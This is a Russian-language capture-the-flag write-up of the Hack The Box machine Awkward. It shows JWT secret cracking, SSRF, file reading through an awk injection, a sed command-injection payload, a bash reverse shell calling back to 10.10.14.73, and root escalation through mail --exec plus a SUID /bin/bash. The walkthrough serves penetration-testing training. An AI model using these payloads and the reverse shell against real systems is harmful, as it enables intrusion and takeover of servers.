Хакер - HTB Awkward. Инжектим команды ОС разными способами

Хакер - HTB Awkward. Инжектим команды ОС разными способами

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • JSON Web Token
  • Продвижение
  • SSRF
  • LFI
  • user
  • Локальное повышение привилегий
  • user → web
  • web → root

В этом рай­тапе я покажу, как обхо­дить аутен­тифика­цию веб‑при­ложе­ния, искать уяз­вимос­ти в JWT и экс­плу­ати­ровать уяз­вимос­ти LFI и SSRF. Помимо это­го, нам понадо­бит­ся нес­коль­ко внед­рений команд при обра­бот­ке дан­ных.

На­ша цель — зах­ват учеб­ной машины Awkward с пло­щад­ки Hack The Box. Уро­вень слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Пер­вым делом добав­ляем IP-адрес машины в /etc/hosts:

10.10.11.185 awkward.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания видим все­го два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Nginx 1.18.0. На SSH нам пока делать нечего, поэто­му пос­мотрим, что нам покажет веб‑сер­вер.

Ре­директ на новый адрес

Глав­ная стра­ница недос­тупна, так как сайт выпол­няет редирект на новый домен. Добав­ляем этот адрес в файл /etc/hosts и пов­торя­ем зап­рос.

10.10.11.185 awkward.htb hat-valley.htb

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

Что­бы уве­личить область тес­тирова­ния, луч­ше все­го пос­тро­ить кар­ту сай­та. Это мож­но сде­лать пря­мо в Burp Proxy, выб­рав в кон­текс­тном меню Engagement tools → Discover content.

Кар­та сай­та

На самом сай­те ничего най­ти не уда­лось, и никакие допол­нитель­ные ска­ниро­вания не помог­ли. Тог­да я стал искать новые точ­ки вхо­да и нашел нес­коль­ко новых стра­ниц в фай­ле app.js.

Ссыл­ка на стра­ницу сай­та
Ссыл­ка на стра­ницу сай­та

Пе­рехо­дим на любую из них, нас встре­тит фор­ма авто­риза­ции.

Фор­ма авто­риза­ции сай­та

Пе­ребор прос­тых логинов и паролей ни к чему не при­вел, и я вер­нулся к Burp History. В одном из зап­росов обра­тим вни­мание на переда­ваемые куки token=guest.

Зап­рос на сайт в Burp Proxy

Поп­робу­ем исполь­зовать вмес­то guest поль­зовате­ля admin в надеж­де на неп­равиль­ную про­вер­ку зна­чения. Для удобс­тва мож­но прос­то соз­дать пра­вило замены в Burp Proxy.

Пра­вило замены в Burp Proxy

И теперь нам дос­тупна стра­ница /dashboard.

Стра­ница dashboard
Ло­каль­ное хра­нили­ще бра­узе­ра

ТОЧКА ОПОРЫ

Прос­матри­вая Burp History, находим новый зап­рос к неиз­вес­тно­му API.

Burp History

На самой стра­нице прос­то выводит­ся ошиб­ка JWT.

От­вет сер­вера

Так как про­исхо­дит рас­шифров­ка зна­чения куки token, а мы там прос­то ука­зали сло­во admin, то и рас­шифро­вано оно не будет. Отсю­да и получа­ется ошиб­ка. Перено­сим зап­рос в Burp Repeater, сов­сем уда­ляем куки и выпол­няем зап­рос.

От­вет сер­вера

API работа­ет и без аутен­тифика­ции, поэто­му мы получа­ем спи­сок поль­зовате­лей и хеши их паролей. Хеши паролей отправ­ляем на CrackStation и получа­ем один откры­тый пароль.

Ре­зуль­тат взло­ма хешей

Ав­торизу­емся с получен­ными учет­ными дан­ными как поль­зователь christopher.jones.

Глав­ная стра­ница поль­зовате­ля

JSON Web Token

Раз исполь­зуют­ся токены JWT, сто­ит про­вес­ти нес­коль­ко тес­тов и поп­робовать под­делать или даже легитим­но соз­дать токен (получить сек­рет).

Зап­рос в Burp Proxy

Справка: JSON Web Token (JWT)

JSON Web Token сос­тоит из трех час­тей: заголов­ка (header), полез­ной наг­рузки (payload) и под­писи. Заголо­вок и полез­ная наг­рузка пред­став­ляют собой объ­екты JSON, при этом наг­рузка может быть любой, это имен­но те кри­тичес­ки важ­ные дан­ные, которые переда­ются при­ложе­нию. Заголо­вок содер­жит опре­делен­ные поля:

  • alg — алго­ритм, исполь­зуемый для под­писи/шиф­рования. Это обя­затель­ный ключ;
  • typ — тип токена. Это поле дол­жно иметь зна­чение JWT.

Тре­тий эле­мент вычис­ляет­ся на осно­вании пер­вых двух и зависит от выб­ранно­го алго­рит­ма. Токены могут быть переко­диро­ваны в ком­пак­тное пред­став­ление: к заголов­ку и полез­ной наг­рузке при­меня­ется алго­ритм Base64-URL, пос­ле чего добав­ляет­ся под­пись и все три эле­мен­та раз­деля­ются точ­ками.

Для ана­лиза токенов мож­но исполь­зовать при­ложе­ние jwt_tool или сайт jwt.io.

Вос­поль­зуем­ся jwt.io, что­бы пос­мотреть, что внут­ри у токена.

Де­коди­рова­ние JWT-токена

Ви­дим, что в JWT переда­ется толь­ко имя поль­зовате­ля и какой‑то иден­тифика­тор. Пер­вым делом сто­ит поп­робовать подоб­рать сек­рет JWT, что­бы мож­но было сге­нери­ровать токен для дру­гого поль­зовате­ля. Перед бру­том сек­рета нуж­но перепи­сать JWT в фор­мат прог­раммы John the Ripper с помощью скрип­та jwt2john из набора jwtcrack.

john --wordlist=rockyou.txt jwt.txt

Ре­зуль­тат перебо­ра сек­рета JWT

Те­перь встав­ляем получен­ный сек­рет на сайт и меня­ем имя поль­зовате­ля на bean.hill. Как мы узна­ли из зап­роса к API, это сис­темный адми­нис­тра­тор. Генери­руем новый токен и встав­ляем в куки. Пос­ле обновле­ния стра­ницы ни ава­тар­ка, ни имя поль­зовате­ля не изме­нились, хотя поменя­лась информа­ция о поль­зовате­ле. Тог­да я зашел в локаль­ное хра­нили­ще бра­узе­ра и нашел там сох­ранен­ное имя поль­зовате­ля.

Ло­каль­ное хра­нили­ще бра­узе­ра

Об­новля­ем имя поль­зовате­ля в хра­нили­ще и видим изме­нения в стра­нице.

Тес­тирова­ние поля firstName

Поп­робовав нес­коль­ко наг­рузок для внед­рения шаб­лона (SSTI), ни к чему не при­ходим, поэто­му поищем дру­гой век­тор ата­ки.

ПРОДВИЖЕНИЕ

SSRF

Пе­рехо­дим к сле­дующе­му обна­ружен­ному в Burp History API — store-status. Этот эндпо­инт при­нима­ет в качес­тве парамет­ра URL и воз­вра­щает содер­жимое стра­ницы.

Burp Repeater — зап­рос к API

Это типич­ная уяз­вимость SSRF, поэто­му, исполь­зуя Burp Intruder, прос­каниру­ем внут­ренние сер­висы на раз­ных пор­тах. Будем переби­рать номер пор­та.

Справка: SSRF

SSRF — это ата­ка на сер­вер, в резуль­тате которой зло­умыш­ленник получа­ет воз­можность отправ­лять зап­росы от име­ни ском­про­мети­рован­ного хос­та. SSRF может быть исполь­зована в DoS-кам­пани­ях для мас­киров­ки реаль­ного источни­ка ата­ки. В таких слу­чаях уяз­вимый хост выс­тупа­ет в качес­тве прок­си‑сер­вера.

Burp Intruder — вклад­ка Positions
Burp Intruder — вклад­ка Payloads
Burp Intruder — резуль­тат перебо­ра

В ито­ге находим внут­ренние сер­висы на пор­тах 3002 и 8080. На пер­вом обна­ружи­ваем еще один API.

Со­дер­жимое стра­ницы на пор­те 3002

Да­вай иссле­дуем эти API.

LFI

В API all-leave находим вызов фун­кции exec, которая выпол­няет коман­ду awk с поль­зователь­ским вво­дом (имя поль­зовате­ля из токена). Вызову пред­шес­тву­ет филь­тра­ция поль­зователь­ско­го вво­да по ука­зан­ному чер­ному спис­ку сим­волов.

Ис­ходный код API all-leave
Вы­зов API от име­ни поль­зовате­ля bean.hill

Эти сим­волы меша­ют нам перей­ти к инъ­екции про­изволь­ных команд ОС, но мы можем внед­рить путь и получить содер­жимое про­изволь­ного фай­ла. Что­бы получить содер­жимое фай­ла /etc/passwd, исполь­зуем в качес­тве име­ни поль­зовате­ля в токене пос­ледова­тель­ность

'/ /etc/passwd '

Соз­дание JWT
Со­дер­жимое фай­ла /etc/passwd

Те­перь подума­ем, какие фай­лы могут содер­жать важ­ные для прод­вижения дан­ные.

user

Пер­вым делом я попытал­ся про­читать при­ват­ный ключ поль­зовате­ля, но такого в сис­теме не ока­залось. Идея с исто­рией команд bash так­же потер­пела неуда­чу. А вот файл .bashrc, который пред­став­ляет собой скрипт, запус­кающий­ся каж­дый раз, ког­да поль­зователь откры­вает новую коман­дную обо­лоч­ку, показал нам файл с инте­рес­ным наз­вани­ем.

'/ /home/bean/.bashrc '

Со­дер­жимое фай­ла .bashrc

Чи­таем скрипт для бэкапа рабоче­го катало­га поль­зовате­ля.

'/ /home/bean/Documents/backup_home.sh '

Со­дер­жимое фай­ла backup_home.sh

Этот скрипт откры­вает нам мес­тополо­жение фай­ла бэкапа, и мы его, конеч­но же, ска­чива­ем.

'/ /home/bean/Documents/backup/bean_backup_final.tar.gz '

curl -i -s -k -X 'GET' -H 'Host: hat-valley.htb' -H 'Connection: close' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IicvIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3MjU5MjIyMH0.P075hge2w85k97dORKjaOrqw7qLb_mLE7HLxX1htqYo' http://hat-valley.htb/api/all-leave --output backup.tar.gz

В надеж­де най­ти какие‑нибудь замет­ки или кон­фиги с учет­ными дан­ными ищем все упо­мина­ния име­ни поль­зовате­ля по всем фай­лам в архи­ве.

По­иск подс­тро­ки bean

Ви­дим инте­рес­ную стро­ку в фай­ле content-DS1ZS1. Теперь про­чита­ем дан­ный файл, что­бы понимать кон­текст.

Со­дер­жимое фай­ла content-DS1ZS1

Это спи­сок задач, а вни­зу видим логин и най­ден­ную ранее стро­ку. Пред­полага­ем, что это пароль, и авто­ризу­емся по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам необ­ходимо соб­рать информа­цию. Я, как обыч­но, при­меню для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Скрипт помог най­ти сра­зу нес­коль­ко инте­рес­ных вещей.

Из фай­ла кон­фигура­ций Nginx узна­ем о сай­те store.hat-valley.htb.

Со­дер­жимое фай­ла store.conf

В спис­ке про­цес­сов отме­чаем работу прог­раммы inotifywait, которая отсле­жива­ет изме­нение вот это­го фай­ла:

/var/www/private/leave_requests.csv

Спи­сок про­цес­сов

У поль­зовате­ля christine есть поч­товые сооб­щения.

Фай­лы с поч­товыми сооб­щени­ями

Пе­рехо­дим к сай­ту store.hat-valley.htb, для прос­мотра которо­го обновля­ем запись в фай­ле /etc/hosts:

10.10.11.185 awkward.htb hat-valley.htb store.hat-valley.htb

user → web

Пе­рехо­дим на сайт, и нас встре­чает HTTP-аутен­тифика­ция.


Зап­рос учет­ных дан­ных

Поп­робовав нес­коль­ко ком­бинаций, заходим от име­ни поль­зовате­ля admin с получен­ным ранее поль­зователь­ским паролем.

Глав­ная стра­ница сай­та store.hat-valley.htb

У нас уже есть дос­туп к сис­теме, нуж­но поп­робовать получить исходный код сай­та, что зна­читель­но облегчит тес­тирова­ние.

Со­дер­жимое катало­га /var/www/store/

Ка­талог product-details содер­жит тек­сто­вые фай­лы с дан­ными о товарах.

Со­дер­жимое катало­га product-details

По­копав­шись на сай­те, замеча­ем, что если добавить файл в кор­зину, то на сер­вере в катало­ге cart соз­дает­ся файл с содер­жимым кор­зины. Имя фай­ла похоже на иден­тифика­тор поль­зовате­ля.

До­бав­ление товара в кор­зину
Со­дер­жимое катало­га cart

В фай­ле cart_action.php находим вызов фун­кции system, куда переда­ется коман­да sed. В самой коман­де исполь­зуют­ся дан­ные, которы­ми может манипу­лиро­вать поль­зователь.

Со­дер­жимое фай­ла cart_action.php

Но перед вызовом system при­нима­емые парамет­ры филь­тру­ются по чер­ному спис­ку сим­волов. В спис­ке нет кавычек, поэто­му мож­но выпол­нить инъ­екцию коман­ды. К при­меру, коман­да sed может выпол­нять скрипт, ука­зан­ный в парамет­ре -e. В качес­тве исполня­емо­го скрип­та исполь­зуем реверс‑шелл /tmp/shell.sh.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.73/4321 0>&1

А для инъ­екции коман­ды — сле­дующую наг­рузку.

1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'

Ори­гиналь­ный зап­рос
Из­менен­ный зап­рос

Ждем соеди­нения на откры­тый лис­тенер.

Сес­сия поль­зовате­ля веб‑сер­вера

web → root

Те­перь перей­дем к фай­лу /var/www/private/leave_requests.csv.

Со­дер­жимое фай­ла leave_requests.csv

За­пус­тим в дру­гой сес­сии прог­рамму pspy64, что­бы отсле­дить дей­ствия при изме­нении ука­зан­ного фай­ла. Затем запишем в файл стро­ку — тоже в фор­мате CSV.

echo '111,222,333,444,555' >> leave_requests.csv

Ло­ги pspy

В логах pspy видим встав­ку стро­ки 111 в коман­ду прог­раммы mail. Тут мы можем выпол­нить инъ­екцию коман­ды ОС, при этом коман­да выпол­няет­ся от име­ни рута. Запус­тим скрипт, который прис­воит S-бит фай­лу /bin/bash.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

#!/bin/bash

chmod u+s /bin/bash

В пер­вом поле CSV нуж­но передать стро­ку " --exec="\!/tmp/lpe.sh".

echo '" --exec="\!/tmp/lpe.sh",2,3,4,5' >> leave_requests.csv

Ло­ги pspy

Как видим, коман­да была выпол­нена, а зна­чит, выпол­нен и наш скрипт.

Пра­ва фай­ла /bin/bash

За­пус­каем bash в кон­тек­сте рута:

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report Page